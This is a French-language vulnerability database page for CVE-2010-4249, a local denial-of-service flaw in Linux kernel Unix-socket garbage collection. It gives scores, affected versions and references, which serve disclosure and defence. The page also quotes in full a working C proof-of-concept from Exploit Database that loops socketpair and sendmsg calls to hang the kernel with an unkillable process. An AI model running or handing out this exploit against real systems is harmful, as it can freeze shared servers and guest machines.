CVE-2010-4249 : Détail

CVE-2010-4249

0.05%V3
Local
2010-11-29
14h00 +00:00
2018-10-10
16h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The wait_for_unix_gc function in net/unix/garbage.c in the Linux kernel before 2.6.37-rc3-next-20101125 does not properly select times for garbage collection of inflight sockets, which allows local users to cause a denial of service (system hang) via crafted use of the socketpair and sendmsg system calls for SOCK_SEQPACKET sockets.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-400 Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 15622

Date de publication : 2010-11-26 23h00 +00:00
Auteur : Key Night
EDB Vérifié : Yes

/* Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :( Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :( See source attached. Process become in state 'Running' but not killalble via kill -KILL. eat 100% CPU, eat all available internal file descriptors in kernel :( -- Segmentation fault */ #include <sys/socket.h> #include <sys/un.h> static int send_fd (int unix_fd, int fd) { struct msghdr msgh; struct cmsghdr *cmsg; char buf[CMSG_SPACE (sizeof (fd))]; memset (&msgh, 0, sizeof (msgh)); memset (buf, 0, sizeof (buf)); msgh.msg_control = buf; msgh.msg_controllen = sizeof (buf); cmsg = CMSG_FIRSTHDR (&msgh); cmsg->cmsg_len = CMSG_LEN (sizeof (fd)); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; msgh.msg_controllen = cmsg->cmsg_len; memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd)); return sendmsg (unix_fd, &msgh, 0); } int main () { int fd[2], ff[2]; int target; if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1) return 1; for (;;) { if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1) return 2; send_fd (ff[0], fd[0]); send_fd (ff[0], fd[1]); close (fd[1]); close (fd[0]); fd[0] = ff[0]; fd[1] = ff[1]; } }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.37

Linux>>Linux_kernel >> Version 2.6.37

Linux>>Linux_kernel >> Version 2.6.37

Linux>>Linux_kernel >> Version 2.6.37

Configuraton 0

Fedoraproject>>Fedora >> Version 13

Références

http://secunia.com/advisories/42354
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/46397
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2010/11/24/10
Tags : mailing-list, x_refsource_MLIST
http://www.securityfocus.com/bid/45037
Tags : vdb-entry, x_refsource_BID
http://www.redhat.com/support/errata/RHSA-2011-0007.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.openwall.com/lists/oss-security/2010/11/24/2
Tags : mailing-list, x_refsource_MLIST
http://lkml.org/lkml/2010/11/23/395
Tags : mailing-list, x_refsource_MLIST
http://www.vupen.com/english/advisories/2010/3321
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/42963
Tags : third-party-advisory, x_refsource_SECUNIA
http://lkml.org/lkml/2010/11/25/8
Tags : mailing-list, x_refsource_MLIST
http://marc.info/?l=linux-netdev&m=129059035929046&w=2
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/42890
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2011-0162.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.exploit-db.com/exploits/15622/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.vupen.com/english/advisories/2011/0168
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/42745
Tags : third-party-advisory, x_refsource_SECUNIA
http://lkml.org/lkml/2010/11/23/450
Tags : mailing-list, x_refsource_MLIST